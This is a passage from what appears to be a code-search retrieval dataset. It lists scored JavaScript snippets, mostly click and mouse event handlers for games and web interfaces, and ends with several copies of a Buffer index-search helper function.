selectTab } = this.state\n if (selectTab === \"group\") {\n const rightSiderOffset = -1 * config.RIGHT_SIDER_WIDTH\n this.props.switchRightSider({ rightSiderOffset })\n }\n }", "title": "" }, { "docid": "87c912df84f92fb21737e1167c6e8980", "score": "0.5994726", "text": "function corner_event_handler(evtData) {\n var evt = evtData;\n\n if (evt.currentTarget.classList.contains(\"red_side\")) {\n // check if the target is gender\n which_menu(evt, RED_CORNER);\n return;\n }\n\n which_menu(evt, BLUE_CORNER);\n return;\n}", "title": "" }, { "docid": "4af65a4876586603b8363eab5797ff7e", "score": "0.5988565", "text": "click(x,y){\n\t\t// Reset clickX and clickY, so it only fires once.\n\t\tif(util.AABB({x:x,y:y,w:1,h:1},this)){\n\t\t\tthis.onClick(x,y); // Callback\n\t\t\tinput.clickX=-1;\n\t\t\tinput.clickY=-1;\n\t\t}\n\t}", "title": "" }, { "docid": "010173adb6f7ff21a05c81b44cd38683", "score": "0.5987762", "text": "function doLeftButtonClick() {\n\t\n\t// decrement index, wrap if necessary\n\tcarouselIndex -= 1;\n\tif (carouselIndex < 0) {\n\t\tcarouselIndex += carouselData.length;\n\t}\n\t\n\t// display at that index if the data exists\n\tdisplayAvatarInCarousel(carouselData[carouselIndex]);\n\t\n\t// toggle buttons\n\ttoggleButtonsOnNew();\n\t\n\t// debug message\n\tif (debugging) {\n\t\tconsole.log(\"Moved left one spot in the avatar carousel.\");\n\t}\n}", "title": "" }, { "docid": "35bdfbb53bfcb0a3f50f544c00caa0a3", "score": "0.59779406", "text": "function handleRightMouseButtonUp() {\n isRightMouseButtonDown = false;\n room.undisplay();\n }", "title": "" }, { "docid": "93bf1bcde7f6d7f18584bc9265e63d2d", "score": "0.59610265", "text": "get focusRight(){ return this.ui.focusRight; }", "title": "" }, { "docid": "62a4eb53b885baa2becd1ac7e0a2f9fc", "score": "0.5960051", "text": "function squareRightClick(r, c){\n if(gameOver || firstClick || mines[r][c].flipped){\n return;\n }\n var square =$(\"#\"+r+\"_\"+c);\n mines[r][c].flagged = !mines[r][c].flagged;\n if (mines[r][c].flagged){\n square.append(flagImg.cloneNode());\n square.addClass(\"flagged\");\n flagged++;\n }else{\n flagged--;\n square.empty();\n square.removeClass(\"flagged\");\n }\n $(\"#mine-count\").html(numMines-flagged);\n }", "title": "" }, { "docid": "c376b949b15c64d7aa2bfc753d8d2ebd", "score": "0.5952823", "text": "function clicked(iD) {\n if (allyReady == true) {\n allyIndex = iD.substr(-1);\n chooseAlly();\n }\n\n else if (foeReady == true) {\n foeIndex = iD.substr(-1);\n chooseFoe();\n }\n}", "title": "" }, { "docid": "7764b490548fbb1256b78b061f75f926", "score": "0.59491426", "text": "clickedOnSquare(e){\n game.xTurn = !game.xTurn\n\n if(game.xTurn){\n UI.addClassX(e.target.id)\n }else{\n UI.addClassO(e.target.id)\n };\n }", "title": "" }, { "docid": "3745c88e1271c846777a120acd8389e6", "score": "0.5948718", "text": "function clickFunction(d,i){\n hide();\n if(i == 2-min) { //checks if middle panel\n canvas.select(\"#maxGustText\" + i).style(\"fill-opacity\", 1);\n canvas.select(\"#avgWindText\" + i).style(\"fill-opacity\", 1);\n canvas.select(\"#windDirText\" + i).style(\"fill-opacity\", 1);\n canvas.select(\"#swellHeight\" + i).style(\"fill-opacity\", 1);\n canvas.select(\"#swellDir\" + i).style(\"fill-opacity\", 1);\n }\n }", "title": "" }, { "docid": "ff0063696be90f55eaf33e4ee03eaf75", "score": "0.5948566", "text": "function click(x, y)\n{\n if(global.newRect)\n {\n global.newRect = false;\n global.x1 = x;\n global.y1 = y;\n addRubber(\"RECTANGLE\");\n setRubberMode(\"RECTANGLE\");\n setRubberPoint(\"RECTANGLE_START\", x, y);\n setPromptPrefix(qsTr(\"Specify other corner point or [Dimensions]: \"));\n }\n else\n {\n global.newRect = true;\n global.x2 = x;\n global.y2 = y;\n setRubberPoint(\"RECTANGLE_END\", x, y);\n vulcanize();\n endCommand();\n }\n}", "title": "" }, { "docid": "f7270eff5831532be906b4f50ee39314", "score": "0.5946273", "text": "gridRightClick(x, y){\n\t\tvar currentSquare = this.squareDict[[x, y]];\n\t\t\n\t\t// add or remove flag if applicable\n\t\tif(currentSquare && currentSquare.getIsEdgeSquare())\n\t\t\tcurrentSquare.setFlag();\n\t}", "title": "" }, { "docid": "cf823e1d04288e7ab4aa481ed7212897", "score": "0.59432304", "text": "function clickHandler(){\n showScores(questions, quizContainer, scoresContainer);\n\n }", "title": "" }, { "docid": "8a274d7d8eef2b4d171c6c60f52eecd5", "score": "0.5938839", "text": "function OnRightButtonPressed(eventName)\n{\n //$.Msg(\"RIGHT BUTTON CAST\")\n //$.Msg(\"entities: \", mouseEntities.length)\n GetMousePosition()\n var table = GetMousePosition()\n GameEvents.SendCustomGameEventToServer( \"key_event\", {button:\"right_mouse\",action:eventName,x:table[0],y:table[1]} )\n}", "title": "" }, { "docid": "06a14bdb19e1716c2e03087d51764fb9", "score": "0.59384054", "text": "handleStoneClick() {\n this.props.currentFieldCallbackFieldLine(this.props.field);\n }", "title": "" }, { "docid": "bdc1ccaf0fd288b92fa853614c4e70a2", "score": "0.59305596", "text": "async rightClick(locator, context = null) {\n return proceedClick.call(this, locator, context, { button: 'right' });\n }", "title": "" }, { "docid": "f9f348eff9b015db4023d9c2a4784b38", "score": "0.5924159", "text": "function mouseClicked(){\n mouseClickedDialogue();\n}", "title": "" }, { "docid": "cd9a0d7df3ba16be5ed5090cb4a38598", "score": "0.5922072", "text": "function box3_click(evt){\r\n\t\r\n\t\r\n\tthis.innerHTML = \"<p>Count = \" + counter + \".</p>\";\r\n\t\r\n\tcounter++;\r\n\t\r\n}", "title": "" }, { "docid": "bdaeaf3aa7ed65170aad111da642102c", "score": "0.5921825", "text": "function stgClicked(event) {\n if (event.button == 2) {\n var node = event.targetNode;\n\n }\n}", "title": "" }, { "docid": "e862b67ceb74bdd86d3262d9f861f697", "score": "0.5918252", "text": "function moveRight(e){ \n e.xRec=e.xRec+10;\n e.dessineRectangle(); \n }", "title": "" }, { "docid": "e9090cf16d99dd481340d9255f41a9d7", "score": "0.59157914", "text": "function clicking (boxes) {\n//if vs computer after the click assign the value to player O and do Computer turn\n\t\tboxes.addEventListener('click', function boxFilled() {\n\t\t\tif (player1.className.includes('active') && versusAi) {\n\t\t\t\tif (boxes.className.includes('box-filled-1') == false && boxes.className.includes('box-filled-2') == false) {\n\t\t\t\t\tboxes.className += ' box-filled-1';\n\t\t\t\t\tactiveOrInactive(player1);\n\t\t\t\t\tactiveOrInactive(player2);\n\t\t\t\t\tendCounter++;\n\t\t\t\t\tcheckEnd();\n\t\t\t\t\tif (endCounter < 9) {\n\t\t\t\t\t\tvsComputer();\n\t\t\t\t\t}\n\t\t\t\t}\n//if 2 player after click assign the value to player O and make it player 2 turn\n\t\t\t} else if (player1.className.includes('active')) {\n\t\t\t\tif (isBoxEmpty(boxes) == true) {\n\t\t\t\t\tboxes.className += ' box-filled-1';\n\t\t\t\t\tactiveOrInactive(player1);\n\t\t\t\t\tactiveOrInactive(player2);\n\t\t\t\t\tendCounter++;\n\t\t\t\t\tcheckEnd();\n\t\t\t\t}\n//if player 2 turn switch to player 1 turn\n\t\t\t} else {\n\t\t\t\tif (boxes.className.includes('box-filled-1') == false && boxes.includes('box-filled-2') == false) {\n\t\t\t\t\tboxes.className += ' box-filled-2';\n\t\t\t\t\tactivateO();\n\t\t\t\t\tendCounter++;b\n\t\t\t\t\tcheckEnd();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t})\n\t}", "title": "" }, { "docid": "70a8eb98d6d4aa71d1ab331bf90c65b3", "score": "0.59135044", "text": "function rightButtonClicked() {\n \n switch (state) {\n \n case STATE_SELECTFIRST:\n\n // Right is 'To' button\n destination = selectedNode;\n document.getElementById(\"other-title\").innerHTML = \"Destination\";\n selectSecond();\n break;\n \n case STATE_SELECTSECOND:\n\n // Right is 'Start' button\n if (start == null)\n start = selectedNode;\n if (destination == null)\n destination = selectedNode;\n \n calculateDijkstra();\n break;\n }\n}", "title": "" }, { "docid": "1250071a6e241fa90b21390de305f730", "score": "0.5910323", "text": "function clickItemThmb(e){\n self.focus_manager.setFocusObject(self.focus_manager.ITEM_LIST);\n if(app.views.app.ctrlOrCmdKey_active){\n self.send('toggleItemInSelection', graph);\n }else if(app.views.app.shiftKey_active){\n self.send('shiftClickItemSelection', graph);\n }else{\n console.log(project);\n console.log(graph);\n self.send('transitionGraph', project, graph);\n }\n \n }", "title": "" }, { "docid": "a6f1754cc38fba71f03bf4c0658c18d9", "score": "0.59087795", "text": "function createBoardItemClick(){\n\t// Select box items\n\tlet $boardItem = $('#board');\n\t$boardItem.on('click','.box',function(event){\n\t\t// Grab the coordinates of the box selected\n\t\tlet x = $(this).attr(\"x\");\n\t\tlet y = $(this).attr(\"y\");\n\t\t// Pass dom object and x and y coordinates to move function\n\t\tmakeMove(this,x,y);\n\t});\n}", "title": "" }, { "docid": "f276671d39078405ba0c25933a496907", "score": "0.59074855", "text": "function doMouseDown(event){\n switch (event.which){\n case 1:\n startClickLeft = getMousePos(canvas, event);\n isDownLeft = true;\n if (modeCanvas == FRAMETOSELECT){\n marcaFrame();\n }\n break;\n case 3:\n startClickRight = getMousePos(canvas,event);\n isDownRight = true;\n break;\n default:\n break;\n }\n checkMoveAndResizeSelection();\n}", "title": "" }, { "docid": "048a97dd2f3be503700c9e02244232f8", "score": "0.59032786", "text": "function rightclick(searchProcess,propertyName,findObject,XPOs,YPOs,exestatus) \n{\n\n\nif (equal(exestatus,true)) \n{\n\tcontrol = searchProcess.Find(propertyName, findObject, 1000);\n\tif (control.Exists) \n {\n\t\tcontrol.focus();\n control.ClickR(XPOs,YPOs); \n aqUtils.Delay(500);\n Log.CheckPoint(\"Object '\"+ findObject+\"' is clicked.\"); \n \n\t} else \n {\n\t\tLog.Error(\"rightclick\",\"The object was not found. rightclick function. object: \" + findObject);\n exestatus = false;\n\t}\n }\n\n \nelse {\n Log.Message(\"rightclick\",\"The action is skipped since the execution status is set as '\"+exestatus+\"'\"); \n \n }\n return exestatus;\n \n}", "title": "" }, { "docid": "1fd98c4ec132b9eaaf7e2b2339daa256", "score": "0.5899153", "text": "function clickBox(e) {\n counter++;\n money++;\n const el = e.target;\n const newEl = el.cloneNode(true);\n newEl.className = 'box ' + animation;\n newEl.addEventListener('click', clickBox);\n el.parentNode.replaceChild(newEl, el);\n animation = animation == 'shake' ? 'shake2' : 'shake';\n moneyDisplay.innerHTML = money;\n\n displayPopup('+1', e.clientX, e.clientY, 500);\n\n checkCounter();\n checkItemPrice();\n}", "title": "" }, { "docid": "f915e4c36728bf68e8bf9c11835a4fb8", "score": "0.58980227", "text": "function show_cover_option(e){\n if(e.which == 3){\n let width = comm.$('.music-cover').clientWidth;\n let height = comm.$('.music-cover').clientHeight;\n let x = e.offsetX;\n let y = e.offsetY;\n let box = {\n p_y:Math.floor((y / height) * 100),\n p_x: Math.floor((x / width ) * 100),\n width:comm.$('.right-click').clientWidth,\n height:comm.$('.right-click').clientHeight\n }\n comm.$('.right-click').style.display = 'block';\n\n comm.$('.right-click').style.top = `${box.p_y}%`;\n comm.$('.right-click').style.left = `${box.p_x}%`;\n if(box.p_y > 50 && box.p_x > 50){\n let right_side = ((x - box.width) / width ) * 100;\n let bottom_side = ((y - box.height) / height) * 100;\n comm.$('.right-click').style.top = `${bottom_side}%`;\n comm.$('.right-click').style.left = `${right_side}%`;\n }else if(box.p_x > 50){\n let right_side = ((x - box.width) / width ) * 100;\n comm.$('.right-click').style.top = `${box.p_y}%`;\n comm.$('.right-click').style.left = `${right_side}%`;\n }else if(box.p_y > 50){\n let bottom_side = ((y - box.height) / height) * 100;\n comm.$('.right-click').style.top = `${bottom_side}%`;\n }\n \n }\n}", "title": "" }, { "docid": "406e4862a9fa2a27e2f2350434f10d6f", "score": "0.58960724", "text": "function clickItemThmb(e){\n self.focus_manager.setFocusObject(self.focus_manager.ITEM_LIST);\n if(app.views.app.ctrlOrCmdKey_active){\n self.send('toggleItemInSelection', note);\n }else if(app.views.app.shiftKey_active){\n self.send('shiftClickItemSelection', note);\n }else{\n console.log(project);\n console.log(note);\n self.send('transitionNote', project, note);\n }\n }", "title": "" }, { "docid": "7b00b631b59141e6b1e7cf618d70f899", "score": "0.5890638", "text": "function right(view,index,clickHandler){\n\t\t\tif (index % 2) {\n\t\t\t\treturn desc(view,index,clickHandler)\n\t\t\t} else {\n\t\t\t\treturn thumbnail(view,index,clickHandler)\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "7f4c5beae86943abd918fa04a6e926ef", "score": "0.58878875", "text": "function OnMouseDown () {\n if(gameObject.tag ==\"Caixa2\"){\n\t AlterarCor.mudar_cor = \"Caixa2\";\n\t AlterarTextura.mudar_textura = \"Caixa2\";\n\t verifica_caixa = 2;\n\t Caixa1.verifica_caixa = 0;\n\t\tCaixa3.verifica_caixa = 0;\n\t}\n}", "title": "" }, { "docid": "47ec1552168da12a486943d7717dc79c", "score": "0.5885761", "text": "function mousePressed(){\n if(isModalOpen()) return;\n\n if(mouseButton === LEFT){\n isPressedDown = true;\n switch($('.btn-group-vertical > .btn.active')[0].id){\n case \"Draw-Rectangle\":\n startPoint = {X: getMouseX(), Y: getMouseY()};\n color = getRandomColor();\n break;\n case \"Draw-Free\":\n corners.push(new Point(getMouseX(), getMouseY()));\n break;\n }\n }\n}", "title": "" }, { "docid": "79de0315829ee20a83d5cb71e7df7831", "score": "0.5881119", "text": "function leftPressed(){\n\n}", "title": "" }, { "docid": "040fc49e881be7552c1aa609ab7cd2c3", "score": "0.58674014", "text": "function showIt(event) {\r\n return isRightClick(event);// && $(event.target).closest('.contextmenu')[0] === self[0];\r\n }", "title": "" }, { "docid": "812baa915a6de4addd50dcf42c34ecbd", "score": "0.5864003", "text": "handleClick(type) {\n\t\tvar thegearbox = this.myRefs[type].current.state;\n\t\tvar xpos = thegearbox.ZZ_positionX;\n\t\tvar ypos = thegearbox.ZZ_positionY;\n\t\tvar self = this;\n\t\tif (this.state.popupActive != null) {\n\t\t\tsetTimeout(function (el) {\n\t\t\t\tself.setState({\n\t\t\t\t\tgearPopoutX: xpos,\n\t\t\t\t\tgearPopoutY: ypos,\n\t\t\t\t\tsearchitems: [],\n\t\t\t\t\tpopupActive: type\n\t\t\t\t})\n\t\t\t}, 100)\n\t\t}\n\t\telse {\n\t\t\tself.setState({\n\t\t\t\tgearPopoutX: xpos,\n\t\t\t\tgearPopoutY: ypos,\n\t\t\t\tsearchitems: [],\n\t\t\t\tpopupActive: type\n\t\t\t})\n\t\t}\n\t}", "title": "" }, { "docid": "fdffd6c718dc3e0ff2a08f61b83d7776", "score": "0.58632463", "text": "function leftButtonClicked() {\n \n switch (state) {\n \n case STATE_SELECTFIRST:\n\n // Left is 'From' button\n start = selectedNode;\n document.getElementById(\"other-title\").innerHTML = \"Starting point\";\n selectSecond();\n break;\n\n default:\n\n // Left is 'Back' button\n back();\n break;\n }\n}", "title": "" }, { "docid": "434ea0ed61362bd239c41f26bd7888df", "score": "0.5856237", "text": "function rightClick(id){\t\n\tlet\tclickedTile = id.path[0],\n\t\txPos\t\t= clickedTile.id.match(regexFilterForX)[0],\n\t\tyPos\t\t= clickedTile.id.match(regexFilterForY)[0];\n\t\n\tif(tiles[xPos][yPos].isOpen){\n\t\trightClickedTile = tiles[xPos][yPos];\n\t\t\n\t}\n}", "title": "" }, { "docid": "2f04d56fb85909d7b93a19a482b036cc", "score": "0.5848514", "text": "clickedOnButton(x, y) {\n if (state === \"menu\") {\n return (x >= this.buttonX - this.buttonWidth/2 &&\n x <= this.buttonX + this.buttonWidth/2) &&\n (y >= this.buttonY - this.buttonHeight/2 &&\n y <= this.buttonY + this.buttonHeight/2);\n }\n }", "title": "" }, { "docid": "7b190a847c1a94415c3968f16c14b6d5", "score": "0.5845159", "text": "performClickFunctionality() {}", "title": "" }, { "docid": "4570878dab60e00c0171d460f021d2b5", "score": "0.58441746", "text": "function clicked(x,y, row) {\n\tconsole.log(\"X=\",x,\" Y=\",y);\n\tshowCell(x,y,row);\n\treturn;\n}", "title": "" }, { "docid": "f026465a62753827394fdf331274e3e6", "score": "0.5842034", "text": "clickEvent(e) {\n // If score button or div was not clicked, hide the div\n if (this.hasbegun) {\n let scoreClick = false;\n for (let p of e.path) {\n if (p.id == \"scorediv\" || p.id == \"scorebutton\") {\n scoreClick = true;\n }\n }\n scoreClick ? null : this.hidescore();\n }\n }", "title": "" }, { "docid": "d3b6014d37583f7b6c141b269e6e2d4e", "score": "0.58384603", "text": "handleDoubleClick() {\n if (this.isSelectable()) this.openDrawer();\n }", "title": "" }, { "docid": "8fbb7d2b1b4d00f896cbc726d63a4479", "score": "0.58357733", "text": "function dptCbClickedLeft(cbObj) {\n\n\t//selectRow(cbObj);\n\n\tvar rowNum = -1; // invalid index\n\tfor(rowNum=0; rowNum<jsDataLeftTree.length; rowNum++) {\n\t\tif (cbObj.value == jsDataLeftTree[rowNum].value)\n\t\t\tbreak;\n\t}\n\n\tif (rowNum >= 0) {\n\t\tif (cbObj.checked) {\n\t\t\tjsDataLeftTree[rowNum].ischecked = true;\n\t\t\t// disable the children\n\t\t\tdptEnableOrDisableChildNodes(cbObj.id, false);\n\t\t} else {\n\t\t\tjsDataLeftTree[rowNum].ischecked = false;\n\t\t\t// enable the children\n\t\t\tdptEnableOrDisableChildNodes(cbObj.id, true); \n\t\t}\n\n\t}\n\n\t// If user clicks on any of the checkboxes in the left/right pane we want the __select__\n\t// radio button to be selected.\n\tvar formObj = getFirstAncestorByHtmlTag(cbObj, \"form\");\n\tcheckMatchingRadioOrCheckbox(formObj.name, \"rOpt\", \"__select__\");\n}", "title": "" }, { "docid": "0a21469168569b43268cd81860e562c5", "score": "0.58351344", "text": "rightclick(elemento,funzione){\r\n if(elemento.length > 0){\r\n document.querySelector(\"bottone1\").addEventListener(\"mousedown\",function (event) {\r\n if(event.which == 3) {\r\n funzione();\r\n }else{\r\n return false;\r\n }\r\n });\r\n\r\n }else {\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "e5c5ed88d0a60908e7bb40dfe3770466", "score": "0.58326286", "text": "function boxclick(box,category) {\n\tconsole.log(box);\n\tconsole.log(category);\n\t\tif (box.checked) {\t \n\t\t show(category);\n\t\t} else {\n\t\t hide(category);\n\t\t}\n\t\t$(\"#locations\").html('');\n\t\t makeSidebar(); \n\t}", "title": "" }, { "docid": "cba7427f9cfe02ce2ba204c0eba6e06a", "score": "0.58217734", "text": "_onAnchorLeftClick(/* options */) {}", "title": "" }, { "docid": "fcbe4d200826fbf363ef2e2181f79538", "score": "0.5819579", "text": "function bingMapRightClick(e){\n MCevent=e;\n document.getElementById('rightmenu').style.top=MCevent.pageY+'PX';\n document.getElementById('rightmenu').style.left=MCevent.pageX+'PX';;\n $(\"#rightmenu\").show();\n $(\"#myMenu\").show();\n}", "title": "" }, { "docid": "1fa2594b05555f71c02ac74eef3d024d", "score": "0.5816639", "text": "function leftBoxChangeBack() {\r\n leftBox.innerHTML = \"Detect if the mouse goes over this box\";\r\n }", "title": "" }, { "docid": "390e15b792a6ad7c222158fa62638d18", "score": "0.5815837", "text": "function right_OnClick()\n{\n\ntry {\n DVD.SelectRightButton();\n}\n\ncatch(e) {\n //e.description = L_ERRORUnexpectedError_TEXT;\n\t//HandleError(e);\n\treturn;\n}\n\n}", "title": "" }, { "docid": "1255ecffc9b586003fd5a3c3eb1ee8f7", "score": "0.5814875", "text": "handleMousePressed() {\n this.doActionBySelectedIndex();\n }", "title": "" }, { "docid": "f5e71fb23adf0beb9b6280e7785282df", "score": "0.58108747", "text": "function canvasRightClick(event, grid, drawer){\n\tevent.preventDefault(); // disable default right click\n\tvar gridOffsetX = Math.floor((event.x - drawer.getAnchors()[0])/SQUARE_SIZE);\n\tvar gridOffsetY = Math.floor((event.y - drawer.getAnchors()[1])/SQUARE_SIZE);\n\tgrid.gridRightClick(gridOffsetX, gridOffsetY);\n}", "title": "" }, { "docid": "a2649624b37c41545e7561e1843101fc", "score": "0.57918596", "text": "function onClick(g,d,i) {\n viz.toggleNode(d);\n}", "title": "" }, { "docid": "e3f906ec08d2767e03a37d1bef918d6f", "score": "0.57898474", "text": "function solveGreenBoxes()\r\n\t{\r\n\t\t$(\"div.btn100:contains('Open')\").click();\r\n\t\t$(\"span#actionbuttonimg1\").click();\r\n\t}", "title": "" }, { "docid": "f1b09653ed8657140faa452c6baf9dc4", "score": "0.5789656", "text": "function rightBtnClick() {\n const index = (currentSlide[\"id\"] + 1) % slides.length;\n // Remove active\n document.getElementById(\"pick-slide-\" + currentSlide[\"id\"]).className = \"pick-slide\";\n currentSlide = slides[index]; \n slide.style.opacity = \"0\";\n setTimeout(changeSlide, 500, index); \n }", "title": "" }, { "docid": "412e16178bc72df3a78928fe3041f162", "score": "0.5772784", "text": "function angleRightClicker() {\n $(document).on('click', '.custom-right', function () {\n $('.visible-jquery').toggleClass('visible-nav-bar');\n $('.visible-jquery').toggleClass('not-visible-nav-bar');\n $('.visible-nav-bar-main').animate({ width: '110px' }, 500);\n $('.visible-nav-bar-content').animate({ width: '110px', height: '57px' }, 500);\n $('.visible-jquery').animate({ width: '220px' }, 500);\n\n $('.jquery-content span').toggleClass('not-visible');\n $('.jquery-nav-bar-footer').toggleClass('visible-nav-bar-footer');\n $('.jquery-nav-bar-footer').toggleClass('not-visible');\n $('.jquery-nav-bar-top').toggleClass('visible-nav-bar-top');\n $('.jquery-nav-bar-top').toggleClass('not-visible-nav-bar-top');\n $('.visible-nav-bar-angle').css('margin-left', 0);\n $('.visible-nav-bar-angle').css('margin-top', 0);\n // $('.visible-nav-bar-angle').toggleClass('not-visible-angel');\n $('.custom-left-ide').removeClass('fa-angle-right');\n $('.custom-left-ide').removeClass('custom-right');\n $('.custom-left-ide').addClass('fa-angle-left');\n $('.custom-left-ide').addClass('custom-left');\n\n $('.custom-slider').animate({\n left: \"220px\"\n\n\n\n }, 500)\n\n })\n\n }", "title": "" } ]
88443fb9276c09275d01ecaf26d557b6
Finds either the first index of `val` in `buffer` at offset >= `byteOffset`, OR the last index of `val` in `buffer` at offset <= `byteOffset`. Arguments: buffer a Buffer to search val a string, Buffer, or number byteOffset an index into `buffer`; will be clamped to an int32 encoding an optional encoding, relevant is val is a string dir true for indexOf, false for lastIndexOf
[ { "docid": "91d9b1eb716e7bad595838e98e488aaf", "score": "0.0", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (numberIsNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" } ]
[ { "docid": "139bfb2e16a10695c3532d665ea4dec6", "score": "0.829511", "text": "function bidirectionalIndexOf(buffer,val,byteOffset,encoding,dir){// Empty buffer means no match\n if(buffer.length===0)return-1;// Normalize byteOffset\n if(typeof byteOffset===\"string\"){encoding=byteOffset;byteOffset=0}else if(byteOffset>2147483647){byteOffset=2147483647}else if(byteOffset<-2147483648){byteOffset=-2147483648}byteOffset=+byteOffset;// Coerce to Number.\n if(numberIsNaN(byteOffset)){// byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset=dir?0:buffer.length-1}// Normalize byteOffset: negative offsets start from the end of the buffer\n if(byteOffset<0)byteOffset=buffer.length+byteOffset;if(byteOffset>=buffer.length){if(dir)return-1;else byteOffset=buffer.length-1}else if(byteOffset<0){if(dir)byteOffset=0;else return-1}// Normalize val\n if(typeof val===\"string\"){val=Buffer.from(val,encoding)}// Finally, search either indexOf (if dir is true) or lastIndexOf\n if(Buffer.isBuffer(val)){// Special case: looking for empty string/buffer always fails\n if(val.length===0){return-1}return arrayIndexOf(buffer,val,byteOffset,encoding,dir)}else if(typeof val===\"number\"){val=val&255;// Search for a byte value [0-255]\n if(typeof Uint8Array.prototype.indexOf===\"function\"){if(dir){return Uint8Array.prototype.indexOf.call(buffer,val,byteOffset)}else{return Uint8Array.prototype.lastIndexOf.call(buffer,val,byteOffset)}}return arrayIndexOf(buffer,[val],byteOffset,encoding,dir)}throw new TypeError(\"val must be string, number or Buffer\")}", "title": "" }, { "docid": "80665b40ee61ba7b6cf45a60cfcc5df3", "score": "0.82577723", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (internalIsBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "80665b40ee61ba7b6cf45a60cfcc5df3", "score": "0.82577723", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = +byteOffset; // Coerce to Number.\n\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : buffer.length - 1;\n } // Normalize byteOffset: negative offsets start from the end of the buffer\n\n\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset;\n\n if (byteOffset >= buffer.length) {\n if (dir) return -1;else byteOffset = buffer.length - 1;\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0;else return -1;\n } // Normalize val\n\n\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding);\n } // Finally, search either indexOf (if dir is true) or lastIndexOf\n\n\n if (internalIsBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1;\n }\n\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir);\n } else if (typeof val === 'number') {\n val = val & 0xFF; // Search for a byte value [0-255]\n\n if (Buffer.TYPED_ARRAY_SUPPORT && typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset);\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset);\n }\n }\n\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir);\n }\n\n throw new TypeError('val must be string, number or Buffer');\n}", "title": "" }, { "docid": "80665b40ee61ba7b6cf45a60cfcc5df3", "score": "0.82577723", "text": "function bidirectionalIndexOf(buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1; // Normalize byteOffset\n\n if (typeof byteOffset === 'string') {\n encoding = byteOffset;\n byteOffset = 0;\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff;\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000;\n }\n\n byteOffset = 